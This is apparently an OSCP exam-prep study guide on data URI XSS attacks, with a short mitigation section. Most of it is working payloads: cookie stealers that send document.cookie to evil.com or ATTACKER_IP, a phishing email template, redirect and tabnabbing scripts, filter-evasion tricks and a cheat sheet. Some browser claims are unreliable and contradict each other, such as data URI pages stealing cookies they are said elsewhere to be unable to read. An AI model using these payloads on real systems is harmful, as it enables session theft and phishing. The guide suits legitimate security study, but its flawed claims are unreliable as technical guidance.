Domain 3Exploit Dev & AV EvasionCORE

Data URI Attacks

Comprehensive guide to Data URI attacks including data:text/html, data:text/javascript, SVG via data URI, Base64 encoding, browser restrictions, and practical exploitation for OSCP exam preparation.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#Data-URI#XSS#Protocol#Base64#Injection

Data URI Attacks

Table of Contents

  1. Introduction
  2. Data URI Scheme Fundamentals
  3. Data URI XSS Vectors
  4. Data URI in Real Attacks
  5. Browser Restrictions and Behaviors
  6. Detection and Mitigation
  7. OSCP-Specific Tips and Lab Scenarios
  8. Advanced Techniques
  9. Reference and Further Reading

Introduction

Data URI attacks represent a powerful and often overlooked vector in client-side exploitation. The data: URI scheme allows embedding data directly within URLs, bypassing traditional file-based resource loading. When combined with insufficient input validation, this scheme becomes a potent weapon for Cross-Site Scripting (XSS), phishing, and privilege escalation attacks.

For OSCP candidates, understanding Data URI attacks is critical because:

  • They appear in client-side attack scenarios (phishing emails, malicious documents)
  • They enable payload delivery without external servers
  • They work in air-gapped or restricted environments
  • They are frequently combined with other attack vectors (HTML smuggling, SVG exploits)

Data URI Scheme Fundamentals

Syntax

The Data URI scheme follows this structure:

data:[<mediatype>][;base64],<data>
Component Description Required
data: Scheme identifier Yes
<mediatype> MIME type (e.g., text/html, image/svg+xml) Optional (defaults to text/plain)
;base64 Encoding directive Optional
<data> The actual data content Yes

Basic Examples

# Plain text (no MIME type, no encoding)
data:,Hello%20World

# Text with explicit MIME type
data:text/plain,Hello%20World

# Base64 encoded text
data:text/plain;base64,SGVsbG8gV29ybGQ=

# HTML content
data:text/html,<h1>Hello</h1>

# Base64 encoded HTML
data:text/html;base64,PGgxPkhlbGxvPC9oMT4=

Supported Media Types and XSS Risk Levels

Media Type Risk Level Executable JS? Notes
text/html Critical Yes Full HTML + JS execution
text/javascript Critical Yes Direct JS execution
image/svg+xml Critical Yes SVG with embedded scripts
text/xml High Context-dependent Can lead to XXE or XSS
application/json Low No Data only, no execution
text/plain Low No Display only
image/png Low No Image rendering only
image/gif Low No Image rendering only
application/pdf Medium Context-dependent PDF exploits possible

How Browsers Handle Data URIs

  1. Parsing: The browser parses the data: scheme, extracts the MIME type and encoding
  2. Decoding: If ;base64 is present, the data is decoded from Base64
  3. URL Decoding: Percent-encoded characters are decoded
  4. Content-Type Assignment: The MIME type determines how the content is processed
  5. Rendering/Execution: The content is rendered or executed based on its type

Important: The MIME type in the data URI overrides any server-provided Content-Type header.


Data URI XSS Vectors

1. data:text/html with Script Tags

The most straightforward and dangerous data URI attack vector.

Technical Explanation

When a browser navigates to a data:text/html URI, it treats the data as a complete HTML document. Any <script> tags within the data are executed with full page context.

Working Payload Examples

<!-- Basic HTML with inline script -->
data:text/html,<script>alert('XSS')</script>

<!-- With full HTML structure -->
data:text/html,<html><head><script>alert(document.domain)</script></head><body>Exploited</body></html>

<!-- URL encoded version -->
data:text/html,%3Cscript%3Ealert('XSS')%3C/script%3E

<!-- With external resource loading -->
data:text/html,<script src=http://evil.com/payload.js></script>

<!-- Stealing cookies -->
data:text/html,<script>new Image().src='http://evil.com/steal?c='+document.cookie</script>

<!-- Redirect attack -->
data:text/html,<script>window.location='http://evil.com/phishing'</script>

Base64 Encoded Variants

<!-- Base64 encoded: <script>alert('XSS')</script> -->
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

<!-- Base64 encoded cookie stealer -->
data:text/html;base64,PHNjcmlwdD5uZXcgSW1hZ2UoKS5zcmM9J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jJysgZG9jdW1lbnQuY29va2llPC9zY3JpcHQ+

Browser Compatibility

Browser Status Notes
Chrome Works Full execution
Firefox Works Full execution
Safari Works Full execution
Edge Works Full execution (Chromium-based)

2. data:text/javascript Execution

Technical Explanation

The data:text/javascript scheme tells the browser to treat the data as JavaScript code. This is executed directly without HTML wrapper.

Working Payload Examples

<!-- Direct JavaScript execution -->
data:text/javascript,alert('XSS')

<!-- With URL encoding -->
data:text/javascript,alert(document.cookie)

<!-- Multi-statement (using semicolons) -->
data:text/javascript,alert('Step1');alert('Step2');

<!-- With newlines (URL encoded as %0A) -->
data:text/javascript,alert('Line1');%0Aalert('Line2');

<!-- Complex payload -->
data:text/javascript,(function(){var%20i=new%20Image();i.src='http://evil.com/log?c='+document.cookie;})();

Browser Compatibility

Browser Status Notes
Chrome Works When used in appropriate contexts
Firefox Works Most permissive
Safari Restricted Limited contexts
Edge Works Chromium-based behavior

Critical Note: data:text/javascript works in <iframe src>, <object data>, and direct navigation, but NOT in <a href> in all browsers due to security restrictions.


3. data:image/svg+xml with SVG Payloads

Technical Explanation

SVG (Scalable Vector Graphics) is an XML-based image format that supports embedded JavaScript through event handlers and <script> tags. When served via data URI, it can execute arbitrary JavaScript.

Working Payload Examples

<!-- SVG with onload event handler -->
data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"></svg>

<!-- URL encoded version -->
data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20onload%3D%22alert('XSS')%22%3E%3C/svg%3E

<!-- SVG with script tag -->
data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg"><script>alert('XSS')</script></svg>

<!-- SVG with external script -->
data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg"><script href="http://evil.com/payload.js"></script></svg>

<!-- SVG with cookie stealing -->
data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" onload="new Image().src='http://evil.com/steal?c='+document.cookie"></svg>

<!-- SVG with redirect -->
data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" onload="window.location='http://evil.com'"></svg>

Base64 Encoded SVG

<!-- Base64 encoded SVG payload -->
data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIG9ubG9hZD0iYWxlcnQoJ1hTUycpIj48L3N2Zz4=

<!-- Decoded: <svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"></svg> -->

SVG Event Handlers for XSS

Event Handler Trigger Example
onload SVG loads <svg onload="alert(1)">
onclick User clicks <svg onclick="alert(1)">
onmouseover Mouse hovers <svg onmouseover="alert(1)">
onfocus Element focuses <svg tabindex="1" onfocus="alert(1)">
onbegin Animation starts <animate onbegin="alert(1)">

Browser Compatibility

Browser Status Notes
Chrome Works Full SVG execution
Firefox Works Full SVG execution
Safari Works Full SVG execution
Edge Works Chromium-based behavior

4. Base64 Encoded Data URIs

Technical Explanation

Base64 encoding is commonly used in data URIs to:

  • Obfuscate malicious payloads
  • Bypass simple string-based filters
  • Encode binary data
  • Avoid special character issues

Encoding/Decoding Examples

# Encode a payload
echo -n "<script>alert('XSS')</script>" | base64
# Output: PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

# Decode a payload
echo "PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=" | base64 -d
# Output: <script>alert('XSS')</script>

Python Encoding/Decoding

import base64

# Encode
payload = "<script>alert('XSS')</script>"
encoded = base64.b64encode(payload.encode()).decode()
print(encoded)  # PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

# Decode
decoded = base64.b64decode(encoded).decode()
print(decoded)  # <script>alert('XSS')</script>

Obfuscation Techniques

<!-- Mixed encoding: some URL encoded, some Base64 -->
data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdCcpPC9zY3JpcHQ+

<!-- Case variation (Base64 is case-sensitive but filters may not be) -->
data:text/html;base64,PhNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

<!-- Padding variations -->
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

5. Data URI in Various HTML Contexts

<a href> Context

<!-- Direct navigation -->
<a href="data:text/html,<script>alert('XSS')</script>">Click me</a>

<!-- SVG in link -->
<a href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>">Click</a>

<!-- JavaScript in link (may be blocked) -->
<a href="data:text/javascript,alert('XSS')">Click</a>

Browser Behavior:

  • Chrome: Blocks data:text/javascript in <a href> but allows data:text/html
  • Firefox: More permissive, allows more data URI types in links
  • Safari: Most restrictive

<iframe src> Context

<!-- HTML in iframe -->
<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>

<!-- SVG in iframe -->
<iframe src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>"></iframe>

<!-- JavaScript in iframe -->
<iframe src="data:text/javascript,alert('XSS')"></iframe>

Note: <iframe> is one of the most reliable contexts for data URI execution across all browsers.

<img src> Context

<!-- SVG image with XSS -->
<img src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>">

<!-- URL encoded version -->
<img src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20onload%3D%22alert(1)%22%3E%3C/svg%3E">

<!-- Base64 encoded SVG -->
<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=">

Note: Only SVG data URIs work in <img> tags for XSS. Regular images (png, gif) cannot execute scripts.

<object data> Context

<!-- HTML object -->
<object data="data:text/html,<script>alert('XSS')</script>"></object>

<!-- JavaScript object -->
<object data="data:text/javascript,alert('XSS')"></object>

<!-- SVG object -->
<object data="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>"></object>

Note: <object> is very permissive and supports all data URI types.

<embed src> Context

<embed src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>">

<source src> Context (within <video>/<audio>)

<video>
  <source src="data:video/mp4;base64,..." />
</video>

Note: Limited utility for XSS as video/audio data URIs don’t execute scripts.


Data URI in Real Attacks

1. Redirect via Data URI

Attack Flow

User clicks link → Navigates to data:text/html → Script executes → Redirects to phishing page

Payload Examples

<!-- Immediate redirect -->
data:text/html,<script>window.location='http://evil.com/phishing'</script>

<!-- Delayed redirect -->
data:text/html,<script>setTimeout(function(){window.location='http://evil.com'},3000)</script>

<!-- Redirect with cookie exfiltration -->
data:text/html,<script>
  new Image().src='http://evil.com/steal?c='+document.cookie;
  window.location='http://evil.com/phishing';
</script>

<!-- Base64 encoded redirect -->
data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9waGlzaGluZyc8L3NjcmlwdD4=

In Phishing Emails

<!-- Email link that appears legitimate -->
<a href="data:text/html,<script>window.location='https://legitimate-looking-phishing.com'</script>">
  Click here to verify your account
</a>

2. New Window Opening

Attack Flow

User clicks link → data URI opens → Script opens new window with malicious content

Payload Examples

<!-- Open new window -->
data:text/html,<script>window.open('http://evil.com/phishing')</script>

<!-- Open with specific dimensions -->
data:text/html,<script>window.open('http://evil.com','_blank','width=800,height=600')</script>

<!-- Open multiple windows -->
data:text/html,<script>
  window.open('http://evil.com/page1');
  window.open('http://evil.com/page2');
</script>

<!-- Tabnabbing attack -->
data:text/html,<script>
  var w = window.open('about:blank','_blank');
  w.document.write('<script>document.title="Original Page Title";document.body.innerHTML="<h1>Loading...</h1>"<\/script>');
  setTimeout(function(){w.location='http://evil.com/phishing'},2000);
</script>

3. Object Tag Embedding

Attack Flow

Malicious page contains <object> → Object loads data URI → Script executes in page context

Payload Examples

<!-- Hidden object tag -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+" type="text/html" style="display:none"></object>

<!-- Object with type attribute -->
<object data="data:text/javascript,alert('XSS')" type="text/javascript"></object>

<!-- Nested in other elements -->
<div>
  <object data="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>">
  </object>
</div>

4. Combining with Other Attack Vectors

With HTML Smuggling (MHTML)

--boundary
Content-Type: text/html

<html>
<body>
  <iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>
</body>
</html>
--boundary--

With XSS Stored/Reflected

<!-- If application reflects user input in href -->
<a href="USER_INPUT">Link</a>

<!-- Attacker injects -->
<a href="data:text/html,<script>stealCookies()</script>">Link</a>

With Open Redirect Vulnerabilities

<!-- Vulnerable redirect -->
http://victim.com/redirect?url=USER_INPUT

<!-- Attacker uses data URI -->
http://victim.com/redirect?url=data:text/html,<script>alert('XSS')</script>

With Template Injection

<!-- If template allows data URIs -->
<img src="{{user_avatar}}">

<!-- Attacker injects -->
<img src="data:image/svg+xml,<svg onload='alert(1)'>">

With JavaScript URL Scheme

<!-- Combined attack -->
<a href="javascript:window.location='data:text/html,<script>alert(1)</script>'">Click</a>

Browser Restrictions and Behaviors

Chrome Limitations and Restrictions

Current Restrictions (as of 2024)

Context Allowed Blocked
<a href> data:text/html, data:image/* data:text/javascript
<iframe src> All data URI types None
<img src> data:image/* (SVG executes JS) data:text/html
<object data> All data URI types None
window.location All data URI types None
fetch() All data URI types None
XMLHttpRequest All data URI types None

Chrome Security Features

// Chrome blocks data:text/javascript in <a href>
// This will NOT execute when clicked:
<a href="data:text/javascript,alert('XSS')">Blocked</a>

// But this WILL work:
<a href="data:text/html,<script>alert('XSS')</script>">Works</a>

Origin-Opaque Concept in Chrome

Data URIs loaded as navigations have an opaque origin:

// When page is loaded via data: URI
console.log(window.origin);  // "null" or opaque origin
console.log(document.domain); // May be restricted

// Cross-origin restrictions apply
// Cannot access parent frame if parent has different origin

Implications:

  • Data URI pages cannot access cookies of the original domain
  • CORS restrictions still apply to external requests
  • document.domain manipulation is limited

Firefox Permissiveness

Firefox Behavior

Firefox is historically more permissive with data URIs:

Context Allowed Notes
<a href> More types allowed Including some JS variants
<iframe src> All types Full execution
<img src> SVG with JS Full execution
<object data> All types Full execution

Firefox-Specific Considerations

<!-- May work in Firefox but not Chrome -->
<a href="data:text/javascript,alert('XSS')">Firefox Only</a>

<!-- SVG with more event handlers supported -->
<img src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onclick='alert(1)'>Click me</svg>">

Safari Strictness

Safari Restrictions

Safari is the most restrictive browser for data URI attacks:

Context Allowed Blocked
<a href> Limited Most executable types
<iframe src> Limited Some types blocked
<img src> SVG limited Some event handlers blocked
<object data> Limited Many types blocked

Safari-Specific Notes

<!-- May be blocked in Safari -->
<a href="data:text/html,<script>alert('XSS')</script>">May Not Work</a>

<!-- SVG may have limited event handler support -->
<img src="data:image/svg+xml,<svg onload='alert(1)'>">

Edge Behavior

Edge (Chromium-based) follows Chrome’s behavior almost identically:

Feature Edge Behavior
Data URI support Same as Chrome
Security restrictions Same as Chrome
Origin handling Same as Chrome

Origin-Opaque Concept (Deep Dive)

What is Origin-Opaque?

When a page is loaded via a data: URI, its origin is considered opaque or null:

// In a data: URI page
console.log(window.origin);        // "null"
console.log(window.location.origin); // "null"
console.log(document.domain);       // "" (empty string)

Security Implications

  1. Cookie Access: Data URI pages cannot access cookies from the referring domain
  2. DOM Access: Cannot access parent frame’s DOM if cross-origin
  3. Storage Access: localStorage and sessionStorage are partitioned by origin
  4. Fetch/XHR: External requests work but with opaque origin headers

Bypassing Origin Restrictions

<!-- Data URI cannot directly access parent cookies -->
<!-- But can exfiltrate via network request -->
data:text/html,<script>
  // This works - sends cookie to attacker
  new Image().src = 'http://evil.com/steal?c=' + document.cookie;
  
  // This may NOT work - accessing parent frame
  // parent.document.cookie; // Blocked by same-origin policy
</script>

Detection and Mitigation

Detection Methodology

1. Input Validation Detection

import re

# Detect data URI in input
DATA_URI_PATTERN = re.compile(r'data\s*:', re.IGNORECASE)

def detect_data_uri(input_string):
    if DATA_URI_PATTERN.search(input_string):
        return True
    return False

# Test
print(detect_data_uri("data:text/html,<script>alert(1)</script>"))  # True
print(detect_data_uri("https://example.com"))  # False

2. WAF Rules

# Nginx: Block data URIs in query parameters
if ($query_string ~* "data\s*:") {
    return 403;
}

# Apache: Block data URIs
RewriteCond %{QUERY_STRING} data\s*: [NC]
RewriteRule .* - [F]

3. JavaScript Detection

// Detect data URI in URL
function isDataURI(url) {
    return url.startsWith('data:');
}

// Sanitize href attribute
function sanitizeHref(href) {
    if (isDataURI(href)) {
        return '#';  // Neutralize
    }
    return href;
}

4. Browser DevTools Detection

1. Open DevTools → Network tab
2. Filter by "data:" scheme
3. Look for suspicious data URIs in requests
4. Check Sources panel for data: URI scripts

Mitigation Strategies

1. Server-Side Input Validation

import re

ALLOWED_PROTOCOLS = ['http:', 'https:', 'mailto:', 'tel:']

def validate_url(url):
    # Extract protocol
    match = re.match(r'^([a-zA-Z][a-zA-Z0-9+.-]*):', url)
    if not match:
        return False
    
    protocol = match.group(1).lower()
    
    # Block dangerous protocols
    dangerous = ['javascript:', 'data:', 'vbscript:', 'blob:']
    if protocol in dangerous:
        return False
    
    # Allow only whitelisted protocols
    if protocol not in ALLOWED_PROTOCOLS:
        return False
    
    return True

# Test
print(validate_url("data:text/html,<script>alert(1)</script>"))  # False
print(validate_url("https://example.com"))  # True

2. Content Security Policy (CSP)

# Strict CSP that blocks data URIs
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' data:; object-src 'none'; frame-src 'self';

# Block all data URIs (most restrictive)
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self'; object-src 'none';

# Allow data URIs only for images
Content-Security-Policy: default-src 'self'; img-src 'self' data:;

3. Output Encoding

// HTML encode output
function htmlEncode(str) {
    return str
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#x27;');
}

// Use when rendering user input
document.getElementById('output').innerHTML = htmlEncode(userInput);

4. Attribute Validation

// Validate href attributes
function validateAttribute(name, value) {
    if (name.toLowerCase() === 'href' || name.toLowerCase() === 'src') {
        if (value.startsWith('data:') || value.startsWith('javascript:')) {
            return null;  // Block
        }
    }
    return value;
}

5. Framework-Level Protections

<!-- Angular: Auto-escapes by default -->
<a [href]="userUrl">Link</a>

<!-- React: Auto-escapes by default -->
<a href={userUrl}>Link</a>

<!-- Vue: Auto-escapes by default -->
<a :href="userUrl">Link</a>

OSCP Specific Tips and Lab Scenarios

Common OSCP Scenarios

Scenario 1: Phishing Email with Data URI

Setup:

  • You have access to a victim’s email or can send phishing emails
  • Target uses a browser that supports data URI execution

Attack:

<!-- Create phishing HTML -->
<html>
<body>
  <h1>Account Verification Required</h1>
  <p>Please click below to verify your account:</p>
  <a href="data:text/html,<script>
    // Steal credentials
    new Image().src='http://<ATTACKER_IP>/steal?c='+document.cookie;
    // Redirect to legit-looking page
    window.location='http://<ATTACKER_IP>/phishing-page.html';
  </script>">Verify Account</a>
</body>
</html>

Steps:

  1. Create malicious HTML with data URI link
  2. Send via email or upload to shared location
  3. Victim clicks link → data URI executes → cookies stolen
  4. Use stolen cookies for session hijacking

Scenario 2: Stored XSS with Data URI

Setup:

  • Application has stored XSS vulnerability
  • User input is reflected in an <a href> attribute

Attack:

<!-- Input field value -->
data:text/html,<script>document.location='http://<ATTACKER_IP>/cookie?c='+document.cookie</script>

<!-- Resulting HTML -->
<a href="data:text/html,<script>document.location='http://<ATTACKER_IP>/cookie?c='+document.cookie</script>">Link</a>

Steps:

  1. Find stored XSS vulnerability
  2. Inject data URI payload
  3. Admin/other user clicks link → payload executes
  4. Capture cookies on attacker server

Scenario 3: SVG Upload Vulnerability

Setup:

  • Application allows SVG file uploads
  • SVG is served without proper sanitization

Attack:

<!-- malicious.svg -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <script>
    new Image().src='http://<ATTACKER_IP>/steal?c='+document.cookie;
  </script>
</svg>

As Data URI:

<!-- If upload converts to data URI -->
<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KCdYU1MnKSI+PHNjcmlwdD5uZXcgSW1hZ2UoKS5zcmM9J2h0dHA6Ly8xMC4xMC4xNC4zMC9zdGVhbD9jJysgZG9jdW1lbnQuY29va2llPC9zY3JpcHQ+PC9zdmc+">

Scenario 4: Client-Side Template Injection

Setup:

  • Application uses client-side templating
  • User input is injected into template without sanitization

Attack:

<!-- Template: <a href="{{url}}">Link</a> -->

<!-- Input -->
data:text/html,<script>alert('XSS')</script>

<!-- Result -->
<a href="data:text/html,<script>alert('XSS')</script>">Link</a>

OSCP Exam Tips

1. Browser Choice Matters

Target Browser Best Payload
Chrome data:text/html,<script>...</script> in <iframe>
Firefox data:text/javascript,... in <a href>
Safari data:image/svg+xml,... in <img>
Edge Same as Chrome

2. Always Test Multiple Vectors

# Test different data URI types
data:text/html,<script>alert(1)</script>
data:text/javascript,alert(1)
data:image/svg+xml,<svg onload="alert(1)"></svg>

3. Use Base64 for Obfuscation

# When filters block obvious payloads
echo -n "<script>alert(1)</script>" | base64
# Use: data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

4. Check for CSP

# Check Content-Security-Policy headers
curl -I http://target.com/page

# If CSP blocks data:, try other vectors
# If no CSP, data URIs are likely viable

5. Combine with Other Techniques

<!-- Data URI + Open Redirect -->
http://target.com/redirect?url=data:text/html,<script>alert(1)</script>

<!-- Data URI + HTML Injection -->
<div>USER_INPUT</div>
<!-- Inject: -->
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

Lab Machine Examples

Machine: Phishing-Based Attacks

Common Pattern:

  1. Gain low-privilege access
  2. Enumerate email/calendar access
  3. Craft phishing email with data URI payload
  4. Target admin/high-privilege user
  5. Steal cookies/tokens
  6. Escalate privileges

Payload Template:

data:text/html,<script>
  // Exfiltrate to attacker server
  new Image().src='http://<YOUR_IP>/capture?data='+encodeURIComponent(document.cookie);
  // Optional: redirect to maintain cover
  // window.location='https://legitimate-site.com';
</script>

Machine: Web App with XSS

Common Pattern:

  1. Find reflected/stored XSS
  2. Test data URI payload
  3. If works, craft cookie-stealing payload
  4. If blocked, try SVG variant
  5. Use captured session for access

Advanced Techniques

Polyglot Data URIs

A polyglot payload that works in multiple contexts:

<!-- Works as HTML, SVG, and JavaScript -->
data:text/html,<svg/onload=alert(1)>

<!-- More complex polyglot -->
data:text/html,<!--><script>alert(1)//</script>

Unicode and Encoding Bypasses

<!-- Unicode encoding -->
data:text/html,<scr\u0069pt>alert(1)</script>

<!-- Mixed encoding -->
data:text/html,%3Cscript%3Ealert(1)%3C/script%3E

<!-- Double encoding (if decoder applies once) -->
data:text/html,%253Cscript%253Ealert(1)%253C/script%253E

Timing-Based Attacks

<!-- Delayed execution to bypass rate limiting -->
data:text/html,<script>setTimeout(function(){alert(1)},5000)</script>

<!-- Interval-based exfiltration -->
data:text/html,<script>
  setInterval(function(){
    new Image().src='http://evil.com/log?d='+new Date().toISOString();
  }, 60000);
</script>

Anti-Detection Techniques

<!-- Avoid common signatures -->
data:text/html,<script>
  // Instead of alert(1)
  window['ale'+'rt'](1);
  
  // Instead of document.cookie
  document['cookie'];
  
  // Instead of new Image()
  (new%20Image)().src='http://evil.com';
</script>

Data URI Size Limitations

Browser Max Data URI Size
Chrome ~2MB
Firefox ~4MB
Safari ~2MB
Edge ~2MB
IE ~32KB

Note: For large payloads, consider splitting or using external resources.


Reference and Further Reading

OWASP Resources

Browser Documentation

Tools

Tool Purpose
Burp Suite Intercept and modify data URI requests
OWASP ZAP Detect data URI vulnerabilities
XSStrike Automated XSS detection
Dalfox XSS parameter analysis

Practice Resources


Quick Reference Cheat Sheet

Most Reliable Payloads

# Universal (works in most contexts)
data:text/html,<script>alert(1)</script>

# SVG variant (for img tags)
data:image/svg+xml,<svg/onload=alert(1)>

# Base64 encoded
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

# Cookie stealer
data:text/html,<script>new Image().src='http://ATTACKER_IP/?c='+document.cookie</script>

# Redirect
data:text/html,<script>window.location='http://ATTACKER_IP/phishing'</script>

Context Selection Guide

Target Attribute Best Payload Type
<a href> data:text/html,<script>...</script>
<iframe src> Any data URI type
<img src> data:image/svg+xml,<svg/onload=...>
<object data> Any data URI type
<embed src> data:image/svg+xml,...
window.location Any data URI type

Browser Testing Priority

  1. Firefox - Most permissive, test first
  2. Chrome/Edge - Similar behavior, test together
  3. Safari - Most restrictive, test last

This study note is designed for OSCP exam preparation. Always practice in authorized lab environments only.